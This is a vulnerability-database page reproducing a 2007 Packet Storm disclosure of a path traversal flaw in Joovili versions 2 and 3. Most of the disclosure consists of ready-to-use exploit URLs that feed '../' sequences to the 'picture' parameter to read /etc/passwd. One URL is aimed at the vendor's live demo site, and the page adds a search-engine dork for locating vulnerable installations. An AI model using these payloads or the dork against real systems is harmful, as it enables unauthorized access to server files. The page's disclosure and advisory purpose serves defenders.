Lucene search

joovili-disclose.txt

🗓️ 29 Dec 2007 00:00:00Reported by EcHoLLType

packetstorm🔗 packetstormsecurity.com👁 24 Views

Security vulnerability found in Joovili version 2 and 3 allowing unauthorized access to sensitive system files

`found by EcHoLL  
version: 2.***  
include/images.inc.php?picture=../../../../../../../../etc/passwd&thumbnail=FALSE  
include/images.inc.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE  
  
version 3.**  
joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE  
joovili.images.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE  
  
  
demo  
http://demo.joovili.com/include/joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE  
dork: powered by joovili  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

29 Dec 2007 00:00Current

7.4High risk

Vulners AI Score7.4